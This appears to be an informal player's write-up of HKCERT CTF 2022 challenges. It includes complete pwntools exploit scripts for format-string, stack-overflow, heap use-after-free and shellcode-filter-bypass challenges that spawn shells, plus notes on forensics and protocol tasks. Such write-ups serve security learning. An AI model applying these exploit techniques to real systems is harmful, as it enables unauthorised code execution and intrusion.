### echo

format string leak and format string overwrite

https://hackmd.io/@blackb6a/hkcert-ctf-2022-i-en-3f8a9ef6#%E6%B2%99%E7%94%B0%E5%A4%A7%E6%9C%83%E5%A0%82--echo-Pwn

then buffer overflow with scanf and flag

had to relearn how `%n` work for a bit lmao forgot from maplectf alr

`hkcert22{d0_U_KNOW_fmt_str1ng_att4ck}`

```py
from pwn import *
from pwnlib.util.packing import *

io = remote('chal.hkcert22.pwnable.hk', 28037)
#io = process('chall')
elf = ELF('./chall')

# leak canary
payload0 = b'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p||%p'
io.sendlineafter(b'Input:\n', payload0)

# import time
# time.sleep(5)

# now the canary is leak on screen, script to get the canary value
canary = int(io.recvline().split(b'||')[1], 16)

# leak address
payload1 = b'%p'
io.sendlineafter(b'Input:\n', payload1)

# now the address is leak on screen, script to get the leaked address
leaked_address = int(io.recvline(), 16)
pie_base = leaked_address - (0x563bab54d061 - 0x0000563BAB54B000)
canLeave = pie_base + elf.symbols['can_leave']
getShell = pie_base + elf.symbols['get_shell']

# overwrite canLeave to non-Zero
io.sendlineafter(b'Input:\n', b'A'*8+p64(canLeave))   #i still cant figure out how to read from stack in the same payload sadge gotta ask jason again
payload2 = b'A%7$n' 
io.sendlineafter(b'Input:\n', payload2)

# Calling system (in get_shell function) requires stack be aligned.
# Add ret_gadget (to add rsp by 8) before calling get_shell to align the stack.
ret_gadget = getShell + 25
len_of_input_before_canary = 0x68
payload3 = (b'a' * len_of_input_before_canary) + p64(canary) + p64(0) + p64(ret_gadget) + p64(getShell)
print(payload3)
io.sendlineafter(b':\n', payload3)
io.sendlineafter(b':\n', b'--')

io.interactive()
```

### echo2 

puts no null terminator leak

need to leak canary libc and pie

pie and canary reachable since buffer 16 bytes bigger than needed, but libc out of range

that is until i realized the buffer wasnt initialized to 0 and had libc addresses in it already lmao

buffer overflow, ret to one gadget and flag `hkcert22{A_51NNple_pWn_f0r_w4rm_UP}`

```py
from pwn import *
from pwnlib.util.packing import *

io = remote('chal.hkcert22.pwnable.hk', 28045)
#io = process('echo2')
elf = ELF('./echo2')

io.sendafter(b'Input:\n', b'A'*8)
libc = int.from_bytes(io.recvline()[8:14], byteorder='little') - (ELF('./libc-2.31.so').symbols['_IO_2_1_stdout_']) 
print("libc base:", hex(libc))


io.sendafter(b'Input:\n', b'A'*105)
next = io.recvline()
canary = b'\0' + next[105:104+8]   #canaries always have lower byte being 00
print("canary:", canary.hex())
stack = int.from_bytes(next[104+8:104+14], byteorder='little') - (0x7FFEFE44FFA0 - 0x7FFEFE44FF10)  #base of buffer; ignore the last 2 bytes since its always 00
print("stack:", hex(stack))

import time
time.sleep(8)

io.sendafter(b'Input:\n', b'A'*104 + b'A'*16)  #cant send canary yet but doesnt matter
pie = int.from_bytes(io.recvline()[104+16:104+22], byteorder='little') - 0x12DE  #again ignore the last bytes
print("pie:", hex(pie))



#from one_gadget
sh = libc + 0xe6c81
io.sendafter(b'Input:\n', b'A'*104 + canary + b'A'*8 + p64(sh))  #cant send canary yet but doesnt matter

io.sendafter(b'Input:\n', b'--\0')

io.interactive()
```

### clipboard

volatility clipboard (`./vol.py -f "Windows 7 x64.mem" --profile=Win7SP1x64 clipboard`)

got not much data so `-v`

originally thought its broken coz volatility freezes but then a huge chunk of text got spewed out

searching gives rtf headers

copy bytes, write to file with python, get flag in image after opening the rtf file

`hkcert22{f0r3ns1c_1s_fun_t0_pl4y_w1th}`

### uaf

learn glibc fastbin on the fly

realize user controlled malloc can screw up bin stack to reuse animal chunk

overwrite with get_shell and uaf to get shell

`hkcert22{w3L1C0me_70_World_0f_pwN_h34P_z0o}`

```py
from pwn import *

#p = process(['strace', './zoo'])

#p = process(['ld', '--library-path', '.', './zoo'])
#p = process('./zoo')
p = remote('chal.hkcert22.pwnable.hk', 28235)

g = cyclic_gen()

#the chunk we wanna uaf
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'24')
p.sendlineafter('> ', b'abcd'*(24//4))

#put another chunk onto LIFO fastbin with name not in the same bin
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'32')
p.sendlineafter('> ', b'efgh'*(32//4))


#free the chunk for uaf
#now in 0x18 bin: 
#name0
#animal0
#(other bins are empty)
p.sendlineafter('> ', b'2')
p.sendlineafter('> ', b'0')

#free the chunk for screwing up the bin
#now in 0x18 bin:
#name0
#animal0
#animal1
#in it in order (bottom is last in)
#now in 0x20 bin:
#name1
p.sendlineafter('> ', b'2')
p.sendlineafter('> ', b'1')

#now we can reuse the other animal's chunk AND the uaf chunk since we are looking at the 0x18 bin
#since if you look above its double animal on the LIFO bin when we pop
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'24')
p.sendlineafter('> ', p64(0x401276)+b'a'*16)

# import time
# time.sleep(8)

#trigger uaf
p.sendlineafter('> ', b'3')
p.sendlineafter('> ', b'0')

p.interactive()
```

### stop peeping

mpeg-ts 

use plugin to dump

realize a part of it is corrupt

opening spectrogram in sonic visualizer gives nothing either

give up

realize its 2 mpeg-ts streams after coming back

extract the shorter non rickroll one and open it in spectrogram

yay flag `hkcert22{n3v3r_g0nn4_g1v3_y0u_up_3xtr4ct_mp3_fr0m_pcap}`


### jumping fish

wireshark pcap (i think i just looked at strings actually but shh lmao)

see noise encryption format

search up noise

understand how noise works

search up snow

find snow::Builder (example from docs)

realize psk is static and keypair isnt

reimplement in python

didnt work so try responder and initiator mode all fails

realize packet has length field that python noise didnt implement (talking with harrier tells me its not related to snow)

implement that too

obtain payload from [@kaiziron](https://ctftime.org/user/92369) for `fiddle crab` which didnt work for this somehow but at least the response tells me my encryption and handshake stuff is implemented correctly

tried nextchessmove.com, even more confusion

eventually realized state is `0 1` at the end, turn is `b/w` near the end

send [@kaiziron](https://ctftime.org/user/92369)'s payload with the right turn and win flag

`hkcert22{t0o-much-n01s33333-d0-u_u3e_d3bugggg3r-0r-p33k-in70-n01s3?}` yes i peek into the noise :sunglasses:

```py
from pwn import *

from noise.connection import NoiseConnection, Keypair
from itertools import cycle
from cryptography.hazmat.primitives.asymmetric import x25519
from cryptography.hazmat.primitives import serialization

p = remote('chal.hkcert22.pwnable.hk', 28147)

#p.recvuntil(b'\0\x25')
p.recvuntil(b"Noise_XXpsk3_25519_ChaChaPoly_BLAKE2s")

# Create instance of NoiseConnection, set up to use NN handshake pattern, Curve25519 for
# elliptic curve keypair, ChaCha20Poly1305 as cipher function and SHA256 for hashing.  
proto = NoiseConnection.from_name(b'Noise_XXpsk3_25519_ChaChaPoly_BLAKE2s')
kp = x25519.X25519PrivateKey.generate()
proto.set_keypair_from_private_bytes(Keypair.STATIC, private_bytes=kp.private_bytes(serialization.Encoding.Raw,serialization.PrivateFormat.Raw, serialization.NoEncryption()))

#from rust snow impl - generate keypair so i generated, psk is static key, initiator mode
proto.set_psks(b'lol_what_is_this_secret_thing??!')
proto.set_as_initiator()
proto.start_handshake()

p.send(b'\0\x30') #need size apparently which isnt implemented in this library but is in snow?
p.send(proto.write_message())
p.recvn(2) #recv size and discard
proto.read_message(p.recv(2048, timeout=0.5))
p.send(b'\0\x40')
p.send(proto.write_message())


#while True:
    #fen = input().encode().strip() #cant send newline either
fen = b'7k/6Q1/8/8/5P2/6R1/PPPPP1PP/RNB1KBN1 b Q - 0 1'  #seems like they only track current round and whose turn?
print(fen)
msg = proto.encrypt(fen)
p.send(len(msg).to_bytes(2, byteorder='big'))
p.send(msg)
p.recvn(2)  #recv length
print(proto.decrypt(p.recv()))
```

### weeepark uaf2

learn tcache on the fly

realize its only 7 chunks long (which means if we overflow to fastbin after that we get an odd number that we can overwrite with)

no `get_shell` anymore, so need to somehow get shell 

one gadget is hard to use coz no libc address

can use system in plt (no PIE), but need sh string in rdi

which means we need to leak heap chunk address to get sh string that we write ourselves

which is conveniently also in the binary with no PIE (zoo struct global var)

debugger to figure out the pointers and chunks that got overwriten, inject as found

shell and flag woo `hkcert22{zoo_z00_z0o_ZO0_ZoO_z11}`

```py
from pwn import *
from one_gadget import generate_one_gadget

context.binary = ELF('./zoo2')

#p = process(['strace', './zoo2'])
#p = process('./zoo2')
p = remote('chal.hkcert22.pwnable.hk', 28236)

g = cyclic_gen()

def alloc():
    p.sendlineafter('> ', b'1')
    p.sendlineafter('> ', b'1')
    p.sendafter('> ', b'abcd'*(0x18//4))

def free(i):
    p.sendlineafter('> ', b'2')
    p.sendlineafter('> ', str(i).encode())

#alloc enough chunks
for i in range(10):
    alloc()

#exhaust tcache
for i in range(9):
    free(i)


#leak heap payload from known address (our binary)
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'1')
p.sendafter('> ', p64(0x401276)+b'a'*8+p64(0x4040C8+8*1))  #get our payload's heap addr - 1st element should be pointing at our system payload to be added

p.sendlineafter('> ', b'3')
p.sendlineafter('> ', b'2')


p.recvuntil('added to zone 10')
p.recvuntil('(0-9)\n')
p.recvuntil(': ')

addr = int.from_bytes(p.recvline().strip(), byteorder='little')
print("ADDR", hex(addr))

#system payload
p.sendlineafter('> ', b'1')
p.sendlineafter('> ', b'1')
p.sendafter('> ', p64(0x401120)+ b'sh\0'+ b'a'*5 +p64(addr+8))  #get our payload's heap addr offset by 8 for the system pointer

# import time
# time.sleep(8)

#trigger uaf
p.sendlineafter('> ', b'3')
p.sendlineafter('> ', b'1')

p.interactive()

```

### shellcode runner 2

give up after realizing all existing upper encoders are x86 only

come back near the end of the ctf to realize the upper check function loops through with strlen but uses `read` to read bytes from stdin, which means we can null terminate and then still run the non alphanumeric payload at the end

find a sequence of instructions that works with null bytes - `add BYTE PTR [rax], al` is exactly `00 00` and is basically a nop coz rax has `0x1337000` which is a valid readable address

flag `hkcert22{d41d8cd98f00b204e9800998ecf8427e33a}`

```py
from pwn import *
from pwnlib.encoders.encoder import *
import pwnlib.shellcraft

context.binary = ELF('./shellrunner')

payload = shellcraft.sh()


print(payload)

#p = context.binary.process()

p = remote('chal.hkcert22.pwnable.hk', 28130)

# import time
# time.sleep(7)

#prepend add BYTE PTR [rax], al which does nothing since rax is at a valid readable address and we overwrite afterwards anyway
#this breaks the upper check since that iterates over the string with strlen() and we used read to read from stdin which aint affected
p.send(b'\0\0' + asm(payload))   
p.interactive()
```